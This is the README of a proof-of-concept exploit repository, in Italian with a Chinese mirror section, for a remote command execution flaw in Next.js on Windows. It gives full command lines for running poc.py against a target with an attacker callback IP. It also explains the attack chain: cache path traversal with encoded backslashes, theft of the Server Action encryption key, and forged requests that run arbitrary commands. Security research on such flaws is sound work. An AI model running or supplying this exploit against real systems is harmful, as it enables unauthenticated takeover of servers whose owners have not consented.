
Proof-of-concept exploit per CVE-2026-75604, una RCE non autenticata in Next.js ospitato su Windows tramite path traversal nella cache e Server Action contraffatta, per test di sicurezza autorizzati.
Proof of concept in Python per CVE-2026-75604, una vulnerabilità di esecuzione remota di comandi non autenticata nelle applicazioni Next.js ospitate su Windows che utilizzano sia Pages Router che App Router senza Cache Components.

>=13.4 <15.5.24 o >=16.0 <16.3.3Validato con [email protected].
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
Il percorso della Server Action predefinito è /. Usa --action-field quando il suo form ha più di un campo.
Argomenti obbligatori:
--target URL: URL di base dell'applicazione Next.js--callback-ip ADDRESS: indirizzo IPv4 raggiungibile dal target--pages-cache-path PATH: pagina ISR dinamica esistente di Pages Router--app-cache-path PATH: pagina dinamica esistente di App Router supportata dalla cache filesystemArgomenti opzionali:
--command COMMAND: comando da eseguire; predefinito whoami--action-path PATH: pagina App Router contenente la Server Action compatibile; predefinito /--action-field NAME: campo del form consumato dall'azione; rilevato automaticamente quando non ambiguo--callback-port PORT: porta di callback; predefinita 4331--listen-address ADDRESS: indirizzo locale di bind del callback; predefinito 0.0.0.0--timeout SECONDS: timeout di richiesta e callback; predefinito 20--insecure: disabilita la verifica del certificato TLSL'applicazione opzionale target/ fissa [email protected] e usa il server di produzione standard di Next.js:
cd target
npm ci
npm run build
npm start
Esegui il PoC in un altro terminale:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
Il target opzionale fornisce le route richieste e una Server Action compatibile su /.
Questo PoC è fornito esclusivamente a scopo didattico, ricerca sulla sicurezza e test autorizzati. Usalo solo su sistemi di tua proprietà o per i quali hai esplicito permesso di test.
Crediti a evolutionstorm.
Questo PoC è stato ricostruito in modo indipendente dall'advisory pubblico e dalla patch di Next.js.
本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H>=13.4 <15.5.24、>=16.0 <16.3.315.5.24 / 16.3.3核心原理:FileSystemCache 在 Windows 上未把反斜杠(\)视为路径分隔符进行转义,攻击者可用 ..%5C 编码穿越缓存路径,读取私密文件 server-reference-manifest.json,泄露 Server Action 的 encryptionKey,再伪造闭包绑定 Server Action 请求执行任意命令。
python -m pip install -r requirements.txt(cryptography、requests)已在 [email protected] 上验证。
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
| 参数 | 必填 | 说明 |
|---|---|---|
--target URL | 是 | Next.js 应用基础 URL |
--callback-ip ADDRESS | 是 | 目标可回连的 IPv4 地址 |
--pages-cache-path PATH | 是 | 已存在的动态 Pages Router ISR 页(穿越锚点) |
--app-cache-path PATH | 是 | 已存在的、走文件系统缓存的动态 App Router 页 |
--command COMMAND | 否 | 要执行的命令(默认 whoami) |
--action-path PATH | 否 | 含兼容 Server Action 的 App Router 页(默认 /) |
--action-field NAME | 否 | Action 表单消费的业务字段(唯一时自动检测) |
--callback-port PORT | 否 | 回连端口(默认 4331) |
--listen-address ADDRESS | 否 | 本地回调监听地址(默认 0.0.0.0) |
--timeout SECONDS | 否 | 请求与回调超时(默认 20) |
--insecure | 否 | 关闭 TLS 证书校验 |
仓库内 target/ 提供了可复现的示例应用(锁定 [email protected],标准生产服务器):
cd target
npm ci
npm run build
npm start
另开终端运行:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
示例目标提供了所需路由与 / 上的兼容 Server Action。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的系统运行。利用会在目标 Windows 主机执行任意命令,请在可销毁环境中测试。
LICENSE)。